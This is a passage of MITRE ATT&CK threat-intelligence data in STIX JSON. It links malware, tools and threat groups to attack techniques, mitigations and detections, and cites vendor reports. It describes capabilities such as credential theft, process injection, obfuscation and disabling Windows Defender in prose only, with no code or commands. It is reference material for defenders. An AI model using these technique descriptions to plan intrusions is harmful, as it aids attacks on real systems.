WebShell](https://attack.mitre.org/software/S0572) has a module to perform brute force attacks on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cf4df8f-9eb3-4136-a082-ea1b5d7b398f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:36:00.373Z","description":"(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cfd348f-d2b0-4e89-b485-b2d02f912d1d","type":"relationship","created":"2020-01-23T22:02:48.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-23T22:02:48.682Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cfed6dd-68ac-4b0a-acd1-b888c0c69c4f","type":"relationship","created":"2021-06-30T16:13:40.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.482Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has been delivered by sending victims a phishing email containing a malicious .docx file.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d0c0d1b-94a7-4518-b57e-e79212354bbf","type":"relationship","created":"2021-05-10T18:03:40.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T03:29:47.914Z","description":"Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d0e6809-943f-424b-b8e9-f3b8baa11411","created":"2023-08-03T18:35:08.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.651Z","description":"(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d0ea359-36b3-46f8-818a-5aaff3de574a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.692Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) injects itself into various processes depending on whether it is low integrity or high integrity.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4d106c44-26fd-438b-99c4-6c2ce1bb1084","created":"2022-08-11T22:56:31.941Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:56:31.942Z","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d10ce98-d1c1-4e26-84c3-a309e7c30313","created":"2022-03-14T14:16:33.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"RecordedFuture WhisperGate Jan 2022","description":"Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:21:40.330Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can Base64 encode strings, store downloaded files in reverse byte order, and use the Eazfuscator tool to obfuscate its third stage.(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d1b4d28-84c8-4ae4-9e04-c437dc391eac","type":"relationship","created":"2021-09-08T14:35:24.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T14:35:24.878Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) can mimic legitimate Windows directories by using the same icons and names.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d1d7045-4492-492c-9522-2885d6bd96f6","created":"2019-09-24T13:01:20.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.516Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4d1f00f6-30cc-48b6-baef-66a7fe3cbe86","created":"2021-09-20T19:47:42.239Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Dragos Crashoverride 2018)","modified":"2022-06-30T20:19:13.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d23c95c-366e-464c-b41c-64e48f4e166a","type":"relationship","created":"2019-01-30T15:47:41.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.348Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can download files and additional malware.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d28e653-c023-45cf-bbbd-ade005bcd519","created":"2023-09-19T17:14:28.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:23:57.085Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can create a VBS file in startup to persist after system restarts.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d2c0b15-fb83-4ec1-9e3c-3b0707519278","type":"relationship","created":"2021-05-05T17:19:35.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Secureworks BRONZE HUNTLEY ","url":"https://www.secureworks.com/research/threat-profiles/bronze-huntley","description":"Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T17:51:43.772Z","description":"(Citation: Kaspersky CactusPete Aug 2020)(Citation: Secureworks BRONZE HUNTLEY )(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d2c6d2c-f2ae-4447-8ba7-53250207ace2","created":"2023-12-22T19:05:51.777Z","revoked":false,"external_references":[{"source_name":"Dell SecureWorks BRONZE STARLIGHT Profile","description":"SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.","url":"https://www.secureworks.com/research/threat-profiles/bronze-starlight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-22T19:05:51.777Z","description":"(Citation: Dell SecureWorks BRONZE STARLIGHT Profile)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d3467b2-34cd-484d-9526-571311b0160e","type":"relationship","created":"2021-10-13T15:21:03.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T15:21:03.220Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can collect sensitive NTLM material from a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d36c850-0cd8-4e2a-9999-19f61eb37922","created":"2019-01-30T15:27:06.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.858Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has a command to perform a process listing.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d384b80-62b6-4c3f-9cf5-cf8be6e930e9","created":"2024-03-28T04:09:03.451Z","revoked":false,"external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T04:09:03.451Z","description":"Once adversaries leverage compromised network devices as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle. ","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4d39c319-bf5d-4129-83ba-11df82fdca17","created":"2024-03-15T20:16:32.311Z","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T20:16:32.311Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) collects the OS version, computer name, and language ID.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d3e4232-1330-45a9-9e90-9914eed276a5","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-20T00:17:48.821Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:00:45.681Z","description":"[S-Type](https://attack.mitre.org/software/S0085) uses HTTP for C2.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4d4da706-d1b7-4839-9a2b-52e03d23a44e","created":"2021-12-27T19:19:42.575Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can disarm Windows Defender during the UAC process to evade detection.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T18:30:53.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4d4db495-6366-414f-aa58-1dbd97032412","created":"2022-04-16T20:45:01.832Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-16T20:45:01.832Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d50a045-d85d-481f-ac7d-672065f1e348","type":"relationship","created":"2019-06-24T13:44:34.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T21:51:46.275Z","description":"Use least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d5240d1-508f-4cf0-bf38-9f9276894cbf","type":"relationship","created":"2021-12-06T20:36:44.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:36:44.157Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has queried the Registry to identify victim information.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d58ff48-b6d8-48ba-aa29-2f34d4dc1264","type":"relationship","created":"2020-11-09T15:08:23.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T15:08:23.188Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can write to the Registry under the %windir% variable to execute tasks.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d5f07bd-985d-4dee-8f1b-9143fb158438","type":"relationship","created":"2020-08-24T14:07:40.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-09-22T14:03:55.995Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can inject its modules into various processes using reflective DLL loading.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d63c2b7-03e6-4747-81f2-9197faccd5fc","type":"relationship","created":"2020-11-19T16:37:47.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 